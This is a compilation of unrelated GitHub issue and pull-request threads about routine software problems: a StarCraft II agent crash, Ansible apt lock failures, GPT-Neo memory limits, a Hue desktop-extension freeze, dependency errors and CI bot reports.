https://github.com/starcraftaalborg/pysc2/blob/1173a96ae7a6d3bf8f58929077dfe9e27bc2f552/pysc2/agents/expert_networks_agent.py#L172

I cloned and installed your pysc2 under Windows 10. When I ran the agent pysc2.agents.expert_networks_agent, StarCraft II was launched but it was quickly terminated. In console, I got another error message as below:
WARNING:root:Terminating attempt 0...
WARNING:root:Terminated.
Did you test the agent under Linux? I have no idea what the error message means.
Anyway, I will try to implement your second suggestion later.

Another suggestion would be to drop usage of flags all together and use hard-coded values for the first tests.


fix: Error deleting application when soft-deleted entities are present in the application

Description
Deleting the application throws a 500 error if there are soft-deleted JSObjects present. This happens when apps are exported from older versions of Appsmith and imported to new versions and if there are soft-deleted JSObjects present in the exported JSON.
Fixes #18181
Type of change

Bug fix (non-breaking change which fixes an issue)

How Has This Been Tested?

Manual

Checklist:
Dev activity

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[ ] PR is being merged under a feature flag

QA activity:

[ ] Test plan has been approved by relevant developers
[ ] Test plan has been peer reviewed by QA
[ ] Cypress test cases have been added and approved by either SDET or manual QA
[ ] Organized project review call with relevant stakeholders after Round 1/2 of QA
[ ] Added Test Plan Approved label after reveiwing all Cypress test

/ok-to-test sha=63e68125ef0378fbeaca597a50686900ebb6b944

/ok-to-test sha=af1054beb37d5aad075b78a2c44f069e77821a26


Ansible apt occasionally fails

8:11AM INF ../go/services/builder/serviceCaller.go:141 > Calling BuildInfrastructure on terraformer for project Scenario-1 module=builder
8:13AM INF ../go/services/builder/serviceCaller.go:163 > Calling InstallVPN on ansibler for project Scenario-1 module=builder
8:42AM INF ../go/services/builder/serviceCaller.go:168 > Calling InstallNodeRequirements on ansibler for project Scenario-1 module=builder

One of the playbooks was retrying for about 30 min until it get into working state. The cause of this was ansible apt module witch tends to occasionally fail while getting the lock file and/or while connecting to repositories. I've encountered a 30min ansible play:

On first run three nodes failed
On second run two node failed
On third and fourth a single node
The 5th run executed without issues.

Example logs:
fatal: [w-oci-2]: FAILED! => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python3.8"}, "changed": false, "msg": "Failed to lock apt for exclusive operation: Failed to lock directory /var/lib/apt/lists/: E:Could not get lock /var/lib/apt/lists/lock. It is held by process 1246 (apt)"}

fatal: [m-oci-1]: FAILED! => {"cache_update_time":<PHONE_NUMBER>, "cache_updated": false, "changed": false, "msg": "'/usr/bin/apt-get -y -o \"Dpkg::Options::=--force-confdef\" -o \"Dpkg::Options::=--force-confold\"       install 'net-tools=1.60+git20180626.aebd88e-1ubuntu1'' failed: E: Failed to fetch http://eu-frankfurt-1-ad-2.clouds.archive.ubuntu.com/ubuntu/pool/main/n/net-tools/net-tools_1.60+git20180626.aebd88e-1ubuntu1_amd64.deb  Connection failed [IP: <IP_ADDRESS> 80]\nE: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?\n", "rc": 100, "stderr": "E: Failed to fetch http://eu-frankfurt-1-ad-2.clouds.archive.ubuntu.com/ubuntu/pool/main/n/net-tools/net-tools_1.60+git20180626.aebd88e-1ubuntu1_amd64.deb  Connection failed [IP: <IP_ADDRESS> 80]\nE: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?\n", "stderr_lines": ["E: Failed to fetch http://eu-frankfurt-1-ad-2.clouds.archive.ubuntu.com/ubuntu/pool/main/n/net-tools/net-tools_1.60+git20180626.aebd88e-1ubuntu1_amd64.deb  Connection failed [IP: <IP_ADDRESS> 80]", "E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?"], "stdout": "Reading package lists...\nBuilding dependency tree...\nReading state information...\nThe following NEW packages will be installed:\n  net-tools\n0 upgraded, 1 newly installed, 0 to remove and 63 not upgraded.\nNeed to get 196 kB of archives.\nAfter this operation, 864 kB of additional disk space will be used.\nErr:1 http://eu-frankfurt-1-ad-2.clouds.archive.ubuntu.com/ubuntu focal/main amd64 net-tools amd64 1.60+git20180626.aebd88e-1ubuntu1\n  Connection failed [IP: <IP_ADDRESS> 80]\n", "stdout_lines": ["Reading package lists...", "Building dependency tree...", "Reading state information...", "The following NEW packages will be installed:", "  net-tools", "0 upgraded, 1 newly installed, 0 to remove and 63 not upgraded.", "Need to get 196 kB of archives.", "After this operation, 864 kB of additional disk space will be used.", "Err:1 http://eu-frankfurt-1-ad-2.clouds.archive.ubuntu.com/ubuntu focal/main amd64 net-tools amd64 1.60+git20180626.aebd88e-1ubuntu1", "  Connection failed [IP: <IP_ADDRESS> 80]"]}

Eventually, after few retries in ansibler this will run with success, but it extends the deployment time quite significantly. What I propose is to add a retry to the apt tasks in ansibler. This way it won't repeat the whole play for all the nodes and can shorten the deployment time in some cases.

Sounds like unattended upgrades which would have to be disabled on the image your using to circumvent the issue. The retry sounds good.

cheers @gmherb, it should be fixed now :tada:

The fix in https://github.com/Berops/claudie/pull/538 has been found not to work correctly.
It has been partially reverted via https://github.com/Berops/claudie/pull/542.
The task is now reopened.
The new objective of the task is not only to resolve the issue, but also clean & fix up everything from the previous two PRs.
FYI @MiroslavRepka  @wULLSnpAXbWZGYDYyhWTKKspEQoaYxXyhoisqHf


Module not found after updating NextJS

Prerequisites
Version: Release v0.265.0
Running from: Import in NextJS project
Operating system: Windows
Bits: 64 bits
Step to reproduce

Create new NextJS project (version 13.4.13) with create-next-app (default settings)
Import lucide-react (version 0.265.0)
Add any icon to the page (in this case, X)
The page doesn't compile

Any message or error
Module not found: Can't resolve '...\lucide-debug\node_modules\lucide-react\dist\cjs\icons\x'
...
Resources
No resources
...

Started happening after updating from 13.4.3 to 13.4.13

Duplicate of, https://github.com/lucide-icons/lucide/issues/1482
Sorry couldn't find it


Updated read hang grace and cancellation count threshold

API change check
API changes are not detected in this pull request.


[jdbc] JDBC has dependency on SNAPSHOT version of the clickhouse-http-client

when I use com.clickhouse:clickhouse-jdbc:0.7.0, I find something bad
this is shown in the figure below

I don't understand why 0.7.0-SNAPSHOT is happening, not 0.7.0

Hi, @livk-cloud !
Thank you for reporting the issue. It is because a duplicate dependency was added with hardcoded version.
Will fix in the next release.


Training on a larger dataset fails due to memory issues on faster GPUs

Thanks so much for producing this repo, it's been really helpful in getting up and running on the biggest GPT-Neo model.
I'm having an issue training gpt-neo_2-7B though - my dataset is just over 200mb, which leads to an out of memory issue on the very last step of loading a model into memory before training.
[INFO|integrations.py:533] 2021-04-20 12:40:32,650 >> Attempting to resume from paragraphs/checkpoint-600 [2021-04-20 12:40:32,664] [INFO] [engine.py:1445:_load_checkpoint] rank: 0 loading checkpoint: paragraphs/checkpoint-600/global_step600/mp_rank_00_model_states.pt Traceback (most recent call last):   File "run_clm.py", line 478, in <module>     main()   File "run_clm.py", line 441, in main     train_result = trainer.train(resume_from_checkpoint=checkpoint) [...] RuntimeError: [enforce fail at CPUAllocator.cpp:65] . DefaultCPUAllocator: can't allocate memory: you tried to allocate<PHONE_NUMBER>0 bytes. Error code 12 (Cannot allocate memory)
I've tried a number of GPUs on Google cloud, and I can get it run on the P100 since I can up the RAM to 100GB, but both the V100 and A100s fail (with 78GB and 85GB respectively)
Unfortunately Google puts a hard limit on RAM for these GPUs, and increasing the number of GPUs also doubles the number of processes run and so the RAM required - so unless I pay for 2 GPUs and let one sit idle I have to train on the much slower P100.
This is .. ok .. 😅  but I'd love to go faster if I can. So far I've tried:

Reducing per_device_train_batch_size to 2
Halving the dataset size
but neither have made a difference.

Do you have any other tips on how I might squeeze into the 85GB you get with an A100?  It's so tantalizingly close - I wish Google would just let me add more RAM!

Hi!
you could try to reduce allgather_bucket_size and reduce_bucket_size from 5e7 to 2e7 in the ds_config_gptneo.json. You could also try to further reduze the train_batch_size to 1 and further reduce the size of your dataset.
Also, while there is a limit for the number of CPUs of 12 per V100, and 8 GB per CPU, google also offers extended memory which can go above that (up to 624 GB for the N1 instance type). For this you need to change these flags when creating your instance:
--custom-extensions --custom-cpu 12 --custom-memory 100

Thanks, that really helped put me on the right track.  In the end I had to slash the size of the dataset - it's now down to 45M and running with a per gpu batch size of 1
I tried the allgather / reduce bucket sizes of 2e7 but encountered this error:
RuntimeError: start (0) + length (128657920) exceeds dimension size (90000000).
so I restored it to 5e7 and combined with the smaller dataset its now running.
Best of all, where I was getting '35s/it' on a P100 it's now storming along at '5s/it' on the A100. So about 7x the speed but only 2x the price - very nice!

google also offers extended memory which can go above that (up to 624 GB for the N1 instance type). For this you need to change these flags when creating your instance:
--custom-extensions --custom-cpu 12 --custom-memory 100

I wonder if this will work directly from the CLI ? I didn't try as I already had checkpoints saved on my instance, but I did attempt to edit the instance I'd created - the web UI was definitely limiting me to 78gb per V100 - the A100 aren't available as custom images so are also limited to 85g.

Awesome :)
@jonnyplatt

I wonder if this will work directly from the CLI ? I didn't try as I already had checkpoints saved on my instance, but I did attempt to edit the instance I'd created - the web UI was definitely limiting me to 78gb per V100 - the A100 aren't available as custom images so are also limited to 85g.

Yes, you can only do it from the CLI. But I am not sure if there is an "extended memory" version with the A100, as they use the A2 CPU. But for the V100 (which uses N1 CPUs) it should definitely work with up to 624 GB RAM. Using an V100 with about 150 GB RAM should allow you to use batch size of 4 or so and your full data set.


Added AI Anime Avatar Generation Feature Using OpenCV and Matplotlib

Related Issues or bug

Added support for generating anime-style avatars with smooth edges and vibrant colors using OpenCV and Matplotlib. fixed the issue #495

Fixes: #495
Proposed Changes

Implemented an AI Anime Avatar Generation feature that transforms input images into anime-style avatars using OpenCV and Matplotlib.
Developed functions to load images, apply Gaussian blurring, adaptive thresholding, and bilateral filtering for achieving smooth edges and vibrant colors.
Enhanced the output images' vibrancy and smooth shading transitions to closely mimic traditional anime art styles.
Included functionality to display the original and transformed images side by side for easy

Screenshots

Original
Updated

** **

Screenshot of model implementation :

@UppuluriKalyani
Please review and approve this pull request. I have also added the necessary labels: gssoc-ext, hacktoberfest, and hacktoberfest-accepted. Thank you!

@UppuluriKalyani Okay will update the PR by tonight.


Replace goodreads links with storygraph ones

Thanks for this awesome project!
I was thinking if we could replace the goodreads links of the books listed with storygraph.
Reason: Goodreads is owned by Amazon, who is a huge investor in Israel

My reason at first to prioritize Goodreads was that it has a large database. I started this project with localization in mind, and Goodreads is the largest database for books and editions online. The database is built by thousands of librarian volunteers from all over the world, and being a librarian myself it makes it flexible to add/edit missing editions on need.
I tried The StoryGraph some years ago, and it seems to take advantage of Goodreads shortages, like the bad recommendations, and half-stars, but I am not sure about its database and how large it is, and how to add missing editions. (Goodreads book reviews are still much better, though)
Anyway, your reasoning to use alternatives for this project is valid and fair. Maybe we can add links to The StoryGraph or other services (like the official websites for books which have them) for some books, and only use Goodreads when there are no alternatives.
Thank you for your contributions

@aborazmeh can we provide a link of the zlib. i've a tor link

@aborazmeh can we provide a link of the zlib. i've a tor link

No, we can't. It is illegal, and whoever wants to find these enlisted resources will be able to (physically or online)


Env Search backend

Hi,
On old docker-registry have config search backend, what the name config on new docker-registry?

Hello,
Currently no search backend just catalog https://github.com/docker/distribution/blob/master/docs/spec/api.md#listing-repositories
which can be used instead of search. This SO question worth a read about the topic
http://stackoverflow.com/questions/30113726/docker-registry-2-0-api-v2

Thanks for your explain


GenerateUserSysCommand error

I got error when using command php app/console rollerworks:multi-user:generate:usersys to generate usersys bundle:
PHP Fatal error:  Call to undefined method Rollerworks\Bundle\MultiUserBundle\Command\Validators::validateTargetDir() in /path to project/vendor/rollerworks/multi-user-bundle/src/Command/GenerateUserSysCommand.php on line 185

[Symfony\Component\Debug\Exception\UndefinedMethodException]
  Attempted to call an undefined method named "validateTargetDir" of class "Rollerworks\Bundle\MultiUserBundle\Command\Validators".

I'm using composer.json as
"require": {
        "php": ">=5.3.9",
        "symfony/symfony": "2.8.*",
        ...
        "friendsofsymfony/user-bundle": "~2.0@dev",
        "rollerworks/multi-user-bundle": "1.0.*@dev"
    },
    "require-dev": {
        "sensio/generator-bundle": "~3.0"
    },

Now, for passing this error, i must down version for sensio/generator-bundle from ~3.0 to 2.5.x-dev.
Please fix this issue for version ~3.0 because this version is default when create new symfony 2.8.x standard project
Thanks much!

Related to this issue RollerworksMultiUserBundle/issues/102

I'm sorry to inform you, but this bundle is no longer maintained. I'm still looking for someone who is able to takeover this bundle (with a rename) as I have no time to maintain this bundle. And I'm no longer using the FOSUserBundle at all.


Getting MethodInvocationException for MSTestAdapter.PlatformServices assembly

VSTS Extension you are using
Task         : StyleCop Runner by Black Marble
Description  : Black Marble's StyleCop test runner that use settings files in the project
Version      : 2.3.2
Author       : Black Marble
Where are you running it?
VSTS
Version of Extension/Task
I assume it is the currently public version, if you are using an older version on-premises let me know, but the answer will probably involve upgrading to the currently public version
Expected behaviour and actual behaviour
should be successful
settings :
Sourcefilefolder - $(build.SourcesDirectory)/abc
max violation count  - 1000
allowed violation count - 0
enabled force analysis
enabled control option
Steps to reproduce the problem
getting error.
##[error]System.Management.Automation.MethodInvocationException: Exception calling "Scan" with "0" argument(s): "Method 'get_Properties' in type 'Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.TestContextImplementation' from assembly 'Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' does not have an implementation." ---> System.TypeLoadException: Method 'get_Properties' in type 'Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices.TestContextImplementation' from assembly 'Microsoft.VisualStudio.TestPlatform.MSTestAdapter.PlatformServices, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' does not have an implementation.
2018-08-28T05:31:48.1515921Z    at System.Reflection.RuntimeAssembly.GetExportedTypes(RuntimeAssembly assembly, ObjectHandleOnStack retTypes)
2018-08-28T05:31:48.1516823Z    at System.Reflection.RuntimeAssembly.GetExportedTypes()
2018-08-28T05:31:48.1517814Z    at StyleCop.StyleCopCore.LoadAddins(String path, Byte[] publicKey)
2018-08-28T05:31:48.1518607Z    at StyleCop.StyleCopCore.LoadAddins(String path, Byte[] publicKey)
2018-08-28T05:31:48.1519380Z    at StyleCop.StyleCopCore.LoadAddins(String path, Byte[] publicKey)
2018-08-28T05:31:48.1520178Z    at StyleCop.StyleCopCore.LoadAddins(String path, Byte[] publicKey)
2018-08-28T05:31:48.1520952Z    at StyleCop.StyleCopCore.LoadAddins(String path, Byte[] publicKey)
2018-08-28T05:31:48.1523577Z    at StyleCop.StyleCopCore.LoadAddins(String path, Byte[] publicKey)
2018-08-28T05:31:48.1524430Z    at StyleCop.StyleCopCore.Initialize(ICollection`1 addInPaths, Boolean loadFromDefaultPath)
2018-08-28T05:31:48.1525180Z    at StyleCopWrapper.Wrapper.Scan()
2018-08-28T05:31:48.1525822Z    at CallSite.Target(Closure , CallSite , Object )
2018-08-28T05:31:48.1526485Z    --- End of inner exception stack trace ---

Looks like that MS Library is confusing StyleCop. As the error appears in StyleCop.StyleCopCore there is not much I can do, all I do is wrapper the stylecop DLLs they do all the loading.
My guess is the the DLL in question is being inspected and seen as a StyleCop ruleset, but it is not.
No sure that the answer is, how does StyleCop in VS behave?

Thanks @rfennell . Same config and settings does works with another build definition and repo but for only one repo/build def it is causing issue. For now as a workaround i have updated Sourcefilefolder to $(build.SourcesDirectory) and it starts working. Not sure why.
In VS it is working fine.

Strange, not sure what to offer as a suggestion other than stick with the workaround

As per my standard practice I am closing this issue as I have heard nothing for a while. If this issue remains a problem please do not hesitate to re-open it


Can I used ballerina with Python?

Can Ballerina call Python or vice versa?
thanks

This is not possible at the moment. We also haven't explored Jython as well. Any ideas on that?
Ballerina only supports Java interoperability at the moment.

Any examples with Java in that case thanks, but if python is available in the future that's going to be even more popular as more and more corporate clients prefer Python from my experience.

You can find the samples at: https://v1-0.ballerina.io/learn/by-example/ under the category "Java Interoperability"

I am closing this issue since answers have been provided for the queries raised.
If you have any further questions or need any further clarifications please feel free to re-open the issue or create a new issue.


API Authentication Errors: 429 Rate Limiting Error & 403 Forbidden

Check in lambda is failing due to 429 error - Too Many Requests. I don't have a lot of users, so I think this may be related to the API auth.
status_code=429 msg="Error.": SouthwestAPIError Traceback (most recent call last): File "/var/task/handlers/check_in.py", line 40, in main resp = swa.check_in(first_name, last_name, confirmation_number) File "/var/task/swa.py", line 136, in check_in response = _make_request("post", page, body) File "/var/task/swa.py", line 48, in _make_request response.status_code, msg)) exceptions.SouthwestAPIError: status_code=429 msg="Error."

This may or may not be related -- schedule check in receives this error:
status_code=403 msg="Forbidden": SouthwestAPIError Traceback (most recent call last): File "/var/task/handlers/schedule_check_in.py", line 35, in main first_name, last_name, confirmation_number File "/var/task/swa.py", line 73, in from_passenger_info params File

Thanks Scott... They updated their API in the first week of August and it
broke all check-ins :(. The app is generating a unique token for each
request which doesn't seem easily reproducible.
On Mon, Aug 16, 2021, 10:22 AM Scott Bishop @.***>
wrote:

Check in lambda is failing due to 429 error - Too Many Requests. I don't
have a lot of users, so I think this may be related to the API auth.
status_code=429 msg="Error.": SouthwestAPIError Traceback (most recent call last): File "/var/task/handlers/check_in.py", line 40, in main resp = swa.check_in(first_name, last_name, confirmation_number) File "/var/task/swa.py", line 136, in check_in response = _make_request("post", page, body) File "/var/task/swa.py", line 48, in _make_request response.status_code, msg)) exceptions.SouthwestAPIError: status_code=429 msg="Error."
This may or may not be related -- schedule check in receives this error:
status_code=403 msg="Forbidden": SouthwestAPIError Traceback (most recent call last): File "/var/task/handlers/schedule_check_in.py", line 35, in main first_name, last_name, confirmation_number File "/var/task/swa.py", line 73, in from_passenger_info params File
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/DavidWittman/serverless-southwest-check-in/issues/83,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAFOMLZOS3ETTQZYOYVXZT3T5ENMHANCNFSM5CH2V3SA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.

Have you been able to look into it? Do you know what changed?
Happy to help as well.

Yeah, they now require a unique X-Dublriiu- header now which gets
generated client-side and sent with every check-in request. Not quite sure
how it gets generated... I'm assuming it isn't easy though.
Dave
On Thu, Aug 19, 2021 at 2:25 PM Scott Bishop @.***>
wrote:

Have you been able to look into it? Do you know what changed?
Happy to help as well.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/DavidWittman/serverless-southwest-check-in/issues/83#issuecomment-902180338,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAFOML7KM4GAEXPNBGBQDRTT5VLENANCNFSM5CH2V3SA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.

@ScottBishop @mastermind85 I'm testing some changes in #84 to resolve this. If either of y'all happen to have some upcoming flights I can test it on let me know.

I have a friend with a flight tomorrow, just sent you the details to the email listed on your github page.


Added articles about SOLID design principles

NOTE:

Please fill out the template below

Did you read the instructions in the README?

Y/N Yes

Have you read the instructions in CONTRIBUTING?

Y/N Yes

Have you written this article by yourself? Have you taken inspiration from anywhere and then written it in your words?

[Write here. Be specific.] I took inspiration from an online blog. All references are at the bottom of each article. I

Great work @JohnStorgion ! Merging this.


Pressing refresh button freezes the entire desktop

When the bridge has been disconnected, the extension menu offers a "Refesh" button instead of a List of Lights/Rooms/Zones/etc.
Pressing that button sometimes freezes the entire desktop and keyboard and mouse input seem to no longer have any effect, not even allowing to switch to a tty. Non graphics related stuff like audio and network connections continue to work, though,

Hi,
thanks for the quick reply!

Once the desktop is frozen, it will never come back to life?

No. I've even tried letting it run for an hour or so once, without success. Since other applications, like a web browser playing audio, continue to run I suspect that some kind of main loop in gnome shell might be blocked by the extension.

If this happens, is it e.g. possible that some other device uses the same IP address as your bridge (e.g. due to being in a different local network)?

I'm only connected to one local network with that IP address, so this shouldn't happen.
However, my laptop has multiple network cards (Ethernet and WiFi) that are connected to this network. Usually, before the freeze happens, at least one of those had been disconnected, e.g. by suspending the laptop or removing it from the desk.
I'll try to collect logs, the next time this happens.

I just found something that might confirm the main loop hypothesis.

Set up a hue bridge
Start up glxgears or something else that shows a smooth animation
Click the "Refresh Menu" button in the extension menu, while watching the animation.
While the menu refreshes, the animation freezes for about half a second.

If the refresh procedure somehow gets stuck, it seems plausible that the desktop never unfreezes.

Thanks!
Once the desktop no longer freezes it will at least be easier to debug the failed menu refresh.

Hi @slrtbtfs, could you please test the latest version on the main branch? I had no luck freezing the desktop. I believe the latest version should not freeze your desktop. I am afraid of not having a response from the IP (good, bad, unknown, or anything) no items in the menu will be built.  I am afraid this happens to you. The items are built once any response from all bridges is known.
One more question, the default connection timeout is 2 seconds (see advanced menu). Did you e.g. change it?

Thanks for the quick fix!

Hi @slrtbtfs, could you please test the latest version on the main branch? I had no luck freezing the desktop. I believe the latest version should not freeze your desktop.

I can confirm it no longer freezes my desktop, which is great. Even glxgears didn't glitch. Instead it simply doesn't build a menu when no  bridge is reachable. So i guess this issue is fixed.

I am afraid of not having a response from the IP (good, bad, unknown, or anything) no items in the menu will be built. I am afraid this happens to you.

It appears, when the freezes used to happen, the bridge was indeed unreachable, most likely due to kernel driver or hardware issues. It turns out that other applications that try to access the network interface providing a route to the bridge in that situation eventually start hanging as well, but without bringing down the entire desktop environment.

The items are built once any response from all bridges is known.

Unrelated: Wouldn't it make more sense to build a UI even when only some of the bridges respond? This might be useful for portable devices used in multiple households, each which its own bridge.

One more question, the default connection timeout is 2 seconds (see advanced menu). Did you e.g. change it?

No this setting was unchanged.

Thank you for your confirmation. I will fix the no-menu issue. It will always show at least the refresh and settings items.

Unrelated: Wouldn't it make more sense to build a UI even when only some of the bridges respond? This might be useful for portable devices used in multiple households, each which its own bridge.

Of course, it is not needed to have all the bridges up and running. Basically, I meant I need at least information about  (un)availability from all bridges. This need is because of knowing how many bridges are up, and how many bridges should be included in the menu.


Trade Assets

Add support for Trade assets in THORChain

Hello, we are having an issue trying to create a swap from trade asset to rune. We get a wrong string on the sent trade asset.
thor.ltc as opposed to ltc˜ltc
https://runescan.io/tx/220CD1239193DC58AAC59DC6E7EA667C7BDAF4B527FE3C47971C0FD2E06ACED2
please advise. cheers.

I have seen the PR, thanks in advance. Cheers.

@Feedurhead-1 Trade asset support has not been release yet. Is it possible to share how you are making the swap?


chore: upgrade speech samples to new surface

These need to be upgraded to Speech V2 in order to take advantage of the new client


Add option to enforce teleportation safety

Make /tpa, /tpahere, /back, /home teleport Event safe. What I mean? I mean that when a player teleports to a position, this has to be safe. For example: if a player gets into a end portal, then he types /back, the teleport position has to be out of the end portal.  This option has to be configurable (so we can toggle on/off)
The second suggestion is for the HuskHomesGUI. Try to save to database the icon selected for the home. It would be helpful if you have a multi instance network

The second suggestion is for the HuskHomesGUI. Try to save to database the icon selected for the home. It would be helpful if you have a multi instance network
HuskHomesGUI 1.2 now adds an alternative to this that supports cross-server homes.
https://github.com/WiIIiam278/HomeGUI/releases/tag/1.2

+1 for this future

+1
need this one


fix: powerbi-docs/report-server/configure-kerberos-powerbi-reports.md

specificly -> specifically
Add code fence language

@nschonni : Thanks for your contribution! The author, @markingmyname, has been notified to review your proposed change.

@mgblythe : Thanks for your contribution! The author, @markingmyname, has been notified to review your proposed change.


unique: Add conversion constructors and tests

before merging, I'd like to know if anyone can think of any other test cases to add


pkg/workflows/sdk: add WorkflowSpec.FormatChart for mermaid flowcharts

This PR adds WorkflowSpec.FormatChart for visualizing workflows as mermaid flowcharts.

I split out the builder changes to #821, so this PR is now just flowcharts for the existing types.

I swapped over to using the DependencyGraph.Graph, but it appears to be incomplete so I need to figure out how to augment it with the trigger dependencies. Back to draft for now.

Hey @jmank88 , I am trying to figure out how we provide the visual to users via CLI. From the dev platform CLI perspective,

We get the paths of local files from users and get the wasm binary and config as byte[]
We can get an instance of WorkflowSpec via GetWorkflowSpec
We can call something like GetChart() to get the visual? Is the visual a SVG or image to the local?

Want to hear your thoughts on the flow, and how to integrate. Thanks! This comment is a copy-pasta from link

I refactored the method to be on DependencyGraph instead, but yes you can just call FormatChart(). However,  it returns text to be interpreted by Mermaid for visualization, so we'd have to call in to that library for rendering to SVG or anything else.

Returning text and we (client) render with Mermaid sounds great to me. This is gonna be a very useful feature from Dev Platform side.

But we might not be pursuing this direction any longer
May I know the new direction?


ENH: Finalizing API overhaul

Hello @oesteban, Thank you for updating!

In the file sdcflows/workflows/fit/tests/test_fit.py:

Line 5:1: F401 '..fieldmap.init_fmap_wf' imported but unused
Line 6:1: F401 '..pepolar.init_topup_wf' imported but unused
Line 6:1: F401 '..pepolar.init_3dQwarp_wf' imported but unused
Line 7:1: F401 '..syn.init_syn_sdc_wf' imported but unused

To test for issues locally, pip install flake8 and then run flake8 sdcflows.

With @effigies off this week, @mgxd focused on Ni{Babies|Rodents} and having the dMRIPrep meeting tomorrow where I can catch up with @josephmje and @mattcieslak, I'm going to merge this into dev/1.4.0 and keep working on that branch.
I think that will shorten the span of time this overhaul is lingering and also allow me to make progress on other fronts.


401 error handling and caching google devices

Adding google home device caching on the api class
Adding error handling when the local auth token expires and the response to google home returns 401
Making sensor update rate back 15 sec

Closes #60 and #61
With these changes, a new fresh homegraph request-response cycle takes about 20 seconds(should only happen 1-2 per day) but all the subsequent api calls to the devices themselves take about 0.2 sec

@KapJI please take a look if that satisfies the desired behavior of #60  :)

@KapJI, please take a look at the latest changes. :+1:

Thanks for good comment, @KapJI. Pushed the changes, please take a look :rocket:

Awesome, thanks @KapJI for reviews 💥


How do you send messages (invoke events) from PHP?

Examples show nicely how to send/receive messages from JS, and how to react (respond to messages received from JS in server).
Now the question is how to send messages from other php scripts?

channel

It was really helpful for me. Thank you very much for saving my time, sir.

#6 (comment)

It was really helpful for me. Thank you very much for saving my time, sir.

Very pleased to hear, sir! Thanks for sharing.


All Travis tests failing since yesterday

Possibly due to yesterday's update to the travis_wait function – see discussion here: https://github.com/travis-ci/travis-ci/issues/9663
Either we wait for a potential fix on their end, or we may need to change the syntax of those lines in .travis.yml.

This issue has been resolved by the Travis team by reverting their changes: https://github.com/travis-ci/travis-build/pull/1390


Redis 3.2 support

Hi.
I see in change log and in current setup.py that library already supports redis 3.2. Do you have any ETA for next release?
We use redis-py-cluster and celery in same project. And major celery release 4.3 has requirement redis >= 3.2 so we get stuck in circular dependencies. And it blocks our entire upgrade. Any help will be very appreciated.
Thank you.

Thanks for quick reply.


Appstudio update test-component-pac-ybeq

Pipelines as Code configuration proposal

Pipelines as Code CI/test-component-pac-ybeq-on-pull-request has successfully validated your commit.

StatusDurationName

✅ Succeeded
9 seconds
init

✅ Succeeded
24 seconds
clone-repository

✅ Succeeded
2 minutes
build-container

✅ Succeeded
17 seconds
deprecated-base-image-check

✅ Succeeded
12 seconds
inspect-image

✅ Succeeded
3 minutes
clair-scan

✅ Succeeded
37 seconds
clamav-scan

✅ Succeeded
11 seconds
sbom-json-check

✅ Succeeded
13 seconds
label-check

✅ Succeeded
13 seconds
optional-label-check

✅ Succeeded
6 seconds
show-summary

Pipelines as Code CI/test-component-pac-ybeq-on-pull-request has successfully validated your commit.

StatusDurationName

✅ Succeeded
6 seconds
init

✅ Succeeded
11 seconds
clone-repository

✅ Succeeded
29 seconds
build-container

✅ Succeeded
14 seconds
deprecated-base-image-check

✅ Succeeded
14 seconds
inspect-image

✅ Succeeded
8 seconds
clair-scan

✅ Succeeded
34 seconds
clamav-scan

✅ Succeeded
9 seconds
sbom-json-check

✅ Succeeded
7 seconds
label-check

✅ Succeeded
5 seconds
optional-label-check

✅ Succeeded
5 seconds
show-summary


[YUNIKORN-511] Support to run e2e tests on local macbook

Added support for Mac and ginkgo tests runs fine.

@morpheyesh I looked for a user with a similar name in the apache jira to assign YUNIKORN-511 to you. I did not find you. We track our issues in jira when you create a ID in jira I can add you to the contributors list and assign the jira to you.

@wilfred-s Please have a look now. I made some changes to the script but I am not entirely sure how you want ginkgo and gomega managed. I believe if $GOPATH exists, go get should install it now.

Re-running the jobs as the UT failure seems to be an intermittent issue.


support for monitoring un-orchestrated docker containers

Ref: #693

Codecov Report

Merging #709 (b9516a8) into main (4cebdc1) will decrease coverage by 0.17%.
The diff coverage is 0.00%.

@@            Coverage Diff             @@
##             main     #709      +/-   ##
==========================================
- Coverage   37.02%   36.84%   -0.18%
==========================================
  Files          25       25
  Lines        8983     9007      +24
==========================================
- Hits         3326     3319       -7
- Misses       5206     5231      +25
- Partials      451      457       +6

Impacted Files
Coverage Δ

KubeArmor/core/dockerHandler.go
48.08% <0.00%> (-3.61%)
:arrow_down:

KubeArmor/core/kubeArmor.go
53.80% <0.00%> (-0.60%)
:arrow_down:

KubeArmor/monitor/processTree.go
89.88% <0.00%> (-3.38%)
:arrow_down:

KubeArmor/monitor/systemMonitor.go
48.24% <0.00%> (-0.19%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4cebdc1...b9516a8. Read the comment docs.

@Ankurk99 once this PR is updated, please let me know.

@Ankurk99 , pls handle the DCO and should be good to merge.

PR good to merge, PTAL. Thanks @daemon1024 for helping to debug it.


Login page

In the login page of project, the textbox of password should be a secure text entry

Automated message from Dropbox CLA bot
@pbiradar8, thanks for the pull request! It looks like you haven't yet signed the Dropbox CLA. Please sign it here.

Automated message from Dropbox CLA bot
@pbiradar8, thanks for signing the CLA!

